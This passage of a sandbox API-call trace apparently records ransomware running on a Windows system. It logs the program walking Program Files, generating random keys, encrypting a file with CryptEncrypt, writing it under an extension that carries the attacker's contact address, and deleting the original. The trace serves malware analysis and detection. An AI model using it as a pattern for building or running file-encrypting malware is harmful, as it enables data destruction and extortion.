lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2616) returned 1 [0055.346] CloseHandle (hObject=0x180) returned 1 [0055.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0055.346] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.346] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.347] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.347] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0055.389] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2578) returned 1 [0055.389] CloseHandle (hObject=0x190) returned 1 [0055.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0055.389] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.389] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.389] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.567] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=237) returned 1 [0055.567] CloseHandle (hObject=0x18c) returned 1 [0055.567] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0055.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.568] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.568] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=6406) returned 1 [0055.568] CloseHandle (hObject=0x18c) returned 1 [0055.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0055.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.569] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.569] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2920) returned 1 [0055.569] CloseHandle (hObject=0x18c) returned 1 [0055.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0055.569] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.569] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.570] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=7498) returned 1 [0055.570] CloseHandle (hObject=0x18c) returned 1 [0055.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf")) returned 0x20 [0055.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(inch).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(inch).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.570] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.570] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=235) returned 1 [0055.570] CloseHandle (hObject=0x18c) returned 1 [0055.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm")) returned 0x20 [0055.570] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.570] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Hand Prints.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\hand prints.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.571] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0055.571] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=4222) returned 1 [0055.571] CloseHandle (hObject=0x18c) returned 1 [0055.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20 [0055.571] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.571] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.571] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0055.849] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=152300) returned 1 [0055.849] CloseHandle (hObject=0x1a4) returned 1 [0055.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf")) returned 0x20 [0055.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Memo.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\memo.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0055.850] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0055.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\PXzWVbDzjHOIV50.png" (normalized: "c:\\program files\\common files\\pxzwvbdzjhoiv50.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0055.850] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=39620) returned 1 [0055.850] CloseHandle (hObject=0x1a4) returned 1 [0055.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\PXzWVbDzjHOIV50.png" (normalized: "c:\\program files\\common files\\pxzwvbdzjhoiv50.png")) returned 0x20 [0055.850] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\PXzWVbDzjHOIV50.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\pxzwvbdzjhoiv50.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0055.850] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\PXzWVbDzjHOIV50.png" (normalized: "c:\\program files\\common files\\pxzwvbdzjhoiv50.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0055.850] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0055.851] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fc20 | out: lpNewFilePointer=0x0) returned 1 [0055.851] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\PXzWVbDzjHOIV50.png.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\pxzwvbdzjhoiv50.png.id[8443a5af-2250].[wewillhelpyou@qq.com].adage"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0055.851] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbd8*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc34 | out: phKey=0x334fc34*=0x4d8860) returned 1 [0055.851] CryptSetKeyParam (hKey=0x4d8860, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0055.851] ReadFile (in: hFile=0x1a4, lpBuffer=0x39b0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x334fc5c, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesRead=0x334fc5c*=0x9ac4, lpOverlapped=0x0) returned 1 [0056.439] CryptEncrypt (in: hKey=0x4d8860, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x9ad0, dwBufLen=0x9ad0 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x9ad0) returned 1 [0056.460] WriteFile (in: hFile=0x1a0, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x9ad0, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x9ad0, lpOverlapped=0x0) returned 1 [0056.491] CryptImportKey (in: hProv=0x4c5018, pbData=0x334fbcc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x334fc38 | out: phKey=0x334fc38*=0x4d8820) returned 1 [0056.491] CryptSetKeyParam (hKey=0x4d8820, dwParam=0x1, pbData=0x334fce8, dwFlags=0x0) returned 1 [0056.491] CryptEncrypt (in: hKey=0x4d8820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50, dwBufLen=0x50 | out: pbData=0x39b0020*, pdwDataLen=0x334fbf8*=0x50) returned 1 [0056.492] CryptDestroyKey (hKey=0x4d8820) returned 1 [0056.492] WriteFile (in: hFile=0x1a0, lpBuffer=0x39b0020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x334fc40, lpOverlapped=0x0 | out: lpBuffer=0x39b0020*, lpNumberOfBytesWritten=0x334fc40*=0x102, lpOverlapped=0x0) returned 1 [0056.492] CryptDestroyKey (hKey=0x4d8860) returned 1 [0056.492] CloseHandle (hObject=0x1a4) returned 1 [0056.492] CloseHandle (hObject=0x1a0) returned 1 [0056.494] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\PXzWVbDzjHOIV50.png" (normalized: "c:\\program files\\common files\\pxzwvbdzjhoiv50.png")) returned 1 [0056.495] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0056.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0057.149] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=2702) returned 1 [0057.150] CloseHandle (hObject=0x180) returned 1 [0057.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0057.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.150] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.150] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.215] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=14951) returned 1 [0057.215] CloseHandle (hObject=0x174) returned 1 [0057.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0057.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.222] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.247] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=341322) returned 1 [0057.247] CloseHandle (hObject=0x174) returned 1 [0057.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv")) returned 0x20 [0057.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymainbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.247] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.248] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=141214) returned 1 [0057.248] CloseHandle (hObject=0x174) returned 1 [0057.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv")) returned 0x20 [0057.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.248] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.248] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=157292) returned 1 [0057.248] CloseHandle (hObject=0x174) returned 1 [0057.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv")) returned 0x20 [0057.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.id[8443A5AF-2250].[wewillhelpyou@qq.com].adage" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv.id[8443a5af-2250].[wewillhelpyou@qq.com].adage")) returned 0xffffffff [0057.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0057.249] CryptGenRandom (in: hProv=0x4c5018, dwLen=0x10, pbBuffer=0x334fce8 | out: pbBuffer=0x334fce8) returned 1 [0057.249] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0057.249] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x334fc80 | out: lpFileSize=0x334fc80*=157292) returned 1 